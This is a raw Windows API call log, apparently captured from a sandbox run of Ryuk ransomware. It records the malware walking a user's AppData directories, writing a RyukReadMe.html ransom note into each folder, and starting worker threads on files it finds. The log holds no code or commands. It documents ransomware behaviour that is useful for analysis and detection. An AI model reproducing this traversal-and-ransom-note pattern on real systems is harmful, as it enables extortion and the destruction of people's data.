	[0259.310] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0259.311] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.311] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0259.311] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0259.312] SetLastError (dwErrCode=0x0) 
	[0259.312] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.312] GetLastError () returned 0x0
	[0259.312] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0259.314] CloseHandle (hObject=0x6f8) returned 1
	[0259.314] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
	[0259.314] SetLastError (dwErrCode=0x0) 
	[0259.314] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.315] GetLastError () returned 0xb7
	[0259.315] CloseHandle (hObject=0x6f8) returned 1
	[0259.315] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0259.315] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.315] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0259.315] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0259.315] SetLastError (dwErrCode=0x0) 
	[0259.315] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP8_1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp8_1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.316] GetLastError () returned 0x0
	[0259.316] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0259.318] CloseHandle (hObject=0x6f8) returned 1
	[0259.318] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1
	[0259.318] SetLastError (dwErrCode=0x0) 
	[0259.318] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.318] GetLastError () returned 0xb7
	[0259.318] CloseHandle (hObject=0x6f8) returned 1
	[0259.318] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0259.319] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.319] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0259.319] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0259.319] SetLastError (dwErrCode=0x0) 
	[0259.319] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IMJP9_0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\imjp9_0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.319] GetLastError () returned 0x0
	[0259.319] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0259.321] CloseHandle (hObject=0x6f8) returned 1
	[0259.321] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0259.321] SetLastError (dwErrCode=0x0) 
	[0259.321] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0259.322] GetLastError () returned 0xb7
	[0259.322] CloseHandle (hObject=0x6f8) returned 1
	[0259.322] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0259.325] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.325] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x1de, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1
	[0259.326] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0259.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708
	[0259.328] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.328] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d977900, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1
	[0259.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0259.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c
	[0259.538] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.546] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1
	[0259.546] SetLastError (dwErrCode=0x0) 
	[0259.555] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x77c
	[0261.595] GetLastError () returned 0x0
	[0261.595] WriteFile (in: hFile=0x77c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0261.597] CloseHandle (hObject=0x77c) returned 1
	[0261.597] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0261.598] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.598] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="3LKBQZJ3", cAlternateFileName="")) returned 1
	[0261.599] SetLastError (dwErrCode=0x0) 
	[0261.599] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.599] GetLastError () returned 0x3
	[0261.599] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.599] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.599] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0261.599] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.599] SetLastError (dwErrCode=0x0) 
	[0261.599] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\3lkbqzj3\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.599] GetLastError () returned 0x3
	[0261.599] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.599] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.599] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="8NES5H33", cAlternateFileName="")) returned 1
	[0261.599] SetLastError (dwErrCode=0x0) 
	[0261.599] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.599] GetLastError () returned 0x3
	[0261.600] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.600] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0261.600] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.600] SetLastError (dwErrCode=0x0) 
	[0261.600] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\8nes5h33\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.600] GetLastError () returned 0x3
	[0261.600] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.600] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="FKLUIDU0", cAlternateFileName="")) returned 1
	[0261.600] SetLastError (dwErrCode=0x0) 
